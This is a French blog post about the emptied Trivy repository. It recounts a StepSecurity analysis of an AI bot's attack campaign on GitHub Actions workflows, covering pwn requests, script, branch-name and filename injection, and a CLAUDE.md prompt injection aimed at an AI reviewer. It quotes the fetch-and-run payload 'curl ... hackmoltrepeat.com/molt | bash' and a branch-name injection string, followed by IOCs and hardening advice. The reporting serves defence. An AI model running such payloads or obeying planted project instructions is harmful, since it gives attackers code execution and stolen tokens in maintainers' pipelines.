Trivy vidé après une attaque supply chain par un bot IA

Publié le 1 mars 2026

14 min de lecture

#trivy#securite#open-source#devsecops#supply-chain#github-actions

Ce dimanche 1er mars 2026, en travaillant sur mon homelab, j’ai eu une sacrée surprise. Je mettais à jour mes outils via mise, et l’installation de Trivy 0.69.1 a échoué avec une erreur 404. Intrigué, j’ai commencé à creuser. Ce que j’ai trouvé m’a laissé perplexe.

Capture d'écran de l'erreur mise

La découverte

Tout a commencé par une erreur banale :

mise ERROR Failed to install trivy@0.69.1
curl: (22) The requested URL returned error: 404

Première réaction : un problème de version ? J’ai essayé plusieurs variantes — avec le préfixe v, sans, différentes versions. Même résultat. J’ai alors vérifié directement sur GitHub :

gh release list --repo aquasecurity/trivy
# no releases found

gh api repos/aquasecurity/trivy --jq '.description'
# "This is your first repository"

Le dépôt aquasecurity/trivy est vide. Pas « quelques releases manquantes ». Non. Complètement vide. Aucun code, aucune release, aucun tag. La description par défaut de GitHub — « This is your first repository » — s’affiche en guise de bienvenue.

Un projet fantôme ?

Pour rappel, Trivy est l’un des scanners de vulnérabilités open source les plus utilisés dans l’écosystème cloud native. Il scanne les images de conteneurs, les fichiers IaC (Terraform, Kubernetes), les dépôts de code, les SBOM… C’est un outil incontournable dans toute chaîne DevSecOps sérieuse.

Le projet comptait plus de 24 000 étoiles sur GitHub, des centaines de contributeurs, et était intégré dans des dizaines de plateformes (Harbor, GitLab, GitHub Actions…).

Et pourtant, en visitant github.com/aquasecurity/trivy ce dimanche, on tombe sur :

Capture d'écran de l'erreur mise

Le site officiel fonctionne toujours

C’est là que ça devient étrange. Le site trivy.dev fonctionne parfaitement. La documentation v0.69 est en ligne. La page d’installation référence même la version 0.69.1 dans ses exemples :

# Extrait de la doc officielle (trivy.dev)
curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh \
  | sudo sh -s -- -b /usr/local/bin v0.69.1

Sauf que ce script pointe vers le dépôt GitHub… qui est vide. L’image Docker aquasec/trivy:0.69.1 est référencée, et le GHCR (ghcr.io/aquasecurity/trivy) semble avoir existé aussi.

Les méthodes d’installation cassées

J’ai testé systématiquement toutes les approches :

Méthode	Résultat
`mise install trivy@0.69.1` (backend aqua)	404 — pas de release GitHub
`mise install` (backend asdf via `zufardhiyaulhaq/asdf-trivy`)	404 — même cause
Install script officiel	Pointe vers GitHub Releases → 404
Téléchargement direct du binaire	Pas de release à télécharger
`mise ls-remote trivy`	Liste 0.69.1 depuis le cache aqua, mais le binaire n’existe pas

Seules les méthodes qui ne passent pas par GitHub Releases pourraient encore fonctionner : le dépôt APT/YUM (aquasecurity.github.io/trivy-repo), Homebrew, ou les gestionnaires de paquets des distributions.

Hypothèses initiales — et ce qu’on sait maintenant

~~Plusieurs scénarios sont envisageables~~ — on connaît désormais la cause probable. Le même jour que ma découverte, StepSecurity a publié une analyse exhaustive qui lève le voile.

hackerbot-claw : un bot IA qui attaque les CI/CD

Entre le 21 et le 28 février 2026, un compte GitHub appelé hackerbot-claw a mené une campagne d’attaque systématique contre des workflows GitHub Actions de projets open source majeurs. Le bot se décrit lui-même comme un « autonomous security research agent powered by claude-opus-4-5 » et sollicite des dons en cryptomonnaie.

En 7 jours, il a :

Ciblé au moins 6 dépôts appartenant à Microsoft, DataDog, la CNCF et des projets open source populaires
Ouvert plus de 12 pull requests et déclenché des workflows
Obtenu une exécution de code arbitraire (RCE) sur au moins 4 cibles
Exfiltré un GITHUB_TOKEN avec permissions d’écriture depuis l’un des dépôts les plus populaires de GitHub (awesome-go, 140k+ étoiles)

Chaque attaque utilisait une technique différente, mais toutes livraient le même payload : curl -sSfL hackmoltrepeat.com/molt | bash.

Les 6 attaques en détail

Cible	Technique	Résultat
avelino/awesome-go (140k+ étoiles)	Go `init()` empoisonné dans un script de qualité	RCE confirmée + vol de token `GITHUB_TOKEN`
project-akri/akri (CNCF)	Injection directe dans `version.sh`	RCE confirmée
microsoft/ai-discovery-agent	Injection via le nom de branche git	RCE probable (délai de 2m38s suspect)
DataDog/datadog-iac-scanner	Commandes base64 dans les noms de fichiers	RCE probable — DataDog a déployé des correctifs d’urgence en 9h
ambient-code/platform	Prompt injection ciblant un reviewer IA (Claude)	Détectée et bloquée par Claude
aquasecurity/trivy	Technique inconnue — preuves effacées	Incident confirmé, dépôt vidé

Ce qu’on sait sur l’attaque contre Trivy

Selon StepSecurity, un résultat de recherche Google en cache révèle que hackerbot-claw a déclenché un workflow dans le dépôt Trivy :

Workflow : « security disclosure notice Test #5234 »
Commit : d267cc4 poussé par aqua-bot
Acteur : hackerbot-claw

La page du workflow sur github.com/aquasecurity/trivy/actions ne montre plus cette activité. Le nettoyage de l’historique des workflows est cohérent avec une réponse à incident : l’équipe d’Aqua Security a probablement détecté l’attaque, évalué l’impact, et supprimé les preuves dans le cadre de leur remédiation — ce qui explique le dépôt complètement vide.

Les 5 techniques d’exploitation utilisées

Ce qui rend cette campagne remarquable, c’est la diversité des vecteurs d’attaque — tous ciblant des faiblesses connues mais sous-estimées des workflows GitHub Actions :

1. Pwn Request (awesome-go) — Le workflow utilisait pull_request_target (qui accède aux secrets du dépôt cible) mais faisait un checkout du code du fork de l’attaquant. Résultat : le code malveillant s’exécute avec les permissions élevées du dépôt cible.

2. Injection de script (project-akri) — Un simple curl | bash ajouté en tête d’un script shell existant. Le workflow update-versions.yml n’avait aucun contrôle d’autorisation : n’importe quel utilisateur pouvait commenter /version minor pour déclencher l’exécution.

3. Injection via le nom de branche (Microsoft) — Le payload était caché dans le nom de la branche git elle-même : dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash). Quand bash évalue ce nom dans une expression ${{ }} non échappée, la commande s’exécute.

4. Injection via le nom de fichier (DataDog) — Des commandes shell encodées en base64 cachées dans les noms de fichiers Markdown. Le workflow itérait sur les fichiers modifiés dans une boucle bash sans filtrage.

5. Prompt injection IA (ambient-code) — L’attaquant a remplacé le fichier CLAUDE.md (instructions de projet pour Claude Code) par des instructions malveillantes demandant à l’IA de modifier README.md et de poster un faux commentaire d’approbation. Claude (claude-sonnet-4-6) a détecté et refusé l’attaque, publiant un avertissement détaillé au lieu de se conformer.

Points communs de toutes les attaques

Chacune des 6 attaques exploitait au moins l’un de ces anti-patterns :

pull_request_target avec checkout du code du fork — le classique « Pwn Request », documenté depuis des années mais toujours répandu
Expressions ${{ }} non échappées dans des blocs run: — injection directe de commandes shell via des métadonnées contrôlées par l’attaquant (nom de branche, nom de fichier, commentaire)
Absence de contrôle author_association — n’importe quel utilisateur GitHub pouvait déclencher les workflows via des commentaires
Permissions excessives sur le GITHUB_TOKEN — contents: write là où contents: read aurait suffi

L’impact concret

Au-delà de la curiosité, l’impact est réel et massif :

Impact immédiat : Trivy inutilisable

Toutes les CI/CD qui utilisent aquasecurity/trivy-action ou téléchargent le binaire depuis les releases sont potentiellement cassées.
Les pipelines de sécurité qui dépendent de Trivy pour le scan d’images avant déploiement ne fonctionnent plus.
Les outils de gestion de versions (mise, asdf) ne peuvent plus installer Trivy.
Les Dockerfiles qui embarquent Trivy via le script d’installation sont en échec.

Impact supply chain : la confiance est rompue

Le problème va bien au-delà de l’indisponibilité temporaire :

Si le GITHUB_TOKEN de Trivy a été exfiltré avec contents: write, l’attaquant a pu potentiellement pousser du code malveillant dans le dépôt avant que l’équipe ne réagisse.
Les releases existantes sont potentiellement compromises — d’où la nécessité de tout supprimer et de reconstruire depuis une source vérifiée.
Tout binaire Trivy téléchargé entre le 21 et le 28 février devrait être considéré comme suspect jusqu’à communication officielle d’Aqua Security.
Les dépôts qui dépendent de aquasecurity/trivy-action dans leurs workflows sont potentiellement exposés à une attaque en cascade si l’action GitHub a été modifiée.

Impact systémique : un scanner de sécurité compromis

L’ironie est mordante : un outil de sécurité utilisé pour scanner les vulnérabilités des autres est lui-même victime d’une attaque supply chain. Cela soulève des questions fondamentales :

Qui scanne le scanner ? — Si votre pipeline de sécurité repose sur un outil unique (Trivy) et que cet outil est compromis, toute votre chaîne de confiance s’effondre.
La dépendance à GitHub Releases — La quasi-totalité des méthodes d’installation de Trivy passent par les GitHub Releases. Un seul point de défaillance pour un outil aussi critique.
L’ère des attaques autonomes — Ce n’est pas un humain qui a mené cette attaque. C’est un bot IA autonome qui scanne, identifie les failles et exploite les workflows — 24h/24, sans fatigue. Comme le note StepSecurity : « You can’t defend against automation with manual controls. »

Indicateurs de compromission (IOC)

Si vous maintenez des projets open source, voici les indicateurs à surveiller :

Type	Valeur
Domaine payload	`hackmoltrepeat.com`
Domaine exfiltration	`recv.hackmoltrepeat.com`
Compte GitHub	hackerbot-claw (créé le 20 février 2026)
Pattern de branche	Noms en emoji pour masquer l’intention
Commentaires déclencheurs	`/format`, `/sync-metadata`, `/version minor`, `@claude`
Portefeuille ETH	`0x6BAFc2A022087642475A5A6639334e8a6A0b689a`
Portefeuille BTC	`bc1q49rr8zal9g3j4n59nm6sf30930e69862qq6f6u`

Les leçons à tirer

Cette attaque devrait servir de signal d’alarme pour tout mainteneur de projet open source :

Auditez vos workflows GitHub Actions — Vérifiez que vous n’utilisez pas pull_request_target avec un checkout du code du fork. C’est le vecteur n°1.
Échappez systématiquement les expressions ${{ }} — Passez-les par des variables d’environnement plutôt que de les interpoler directement dans des blocs run:.
Ajoutez des contrôles author_association — Seuls les membres et owners devraient pouvoir déclencher des workflows via des commentaires.
Appliquez le principe du moindre privilège — contents: read par défaut, write uniquement quand c’est strictement nécessaire.
Surveillez le trafic réseau sortant — Des outils comme StepSecurity Harden-Runner peuvent bloquer les appels vers des domaines non autorisés depuis les runners CI.
Ne dépendez pas d’un seul outil de sécurité — Combinez Trivy avec Checkov, Grype, ou d’autres scanners pour éviter un point unique de défaillance.

En attendant

En attendant la communication officielle d’Aqua Security, quelques pistes de contournement :

Vérifier si vous avez un binaire Trivy en cache — mise et asdf conservent les versions installées localement. Mais vérifiez son intégrité.
Utiliser l’image Docker si elle est encore disponible sur Docker Hub ou GHCR — en vérifiant les signatures Cosign.
Passer par le dépôt APT/YUM si vous êtes sur une distribution compatible.
Surveiller les réseaux sociaux — le compte @AquaTrivy sur X et les Discussions GitHub devraient donner des nouvelles.
Lire l’analyse complète de StepSecurity — hackerbot-claw: An AI-Powered Bot Actively Exploiting GitHub Actions

Pour mon homelab, j’ai temporairement commenté Trivy dans mon mise.toml et je garde Checkov comme scanner IaC de secours. Ce n’est pas un remplacement complet, mais ça couvre le scan de misconfiguration Terraform et Kubernetes.

Ce qui devait être un dimanche tranquille sur mon homelab s’est transformé en plongée dans l’une des attaques supply chain les plus sophistiquées de 2026. Un bot IA autonome qui attaque des projets de sécurité open source — on est clairement entrés dans une nouvelle ère.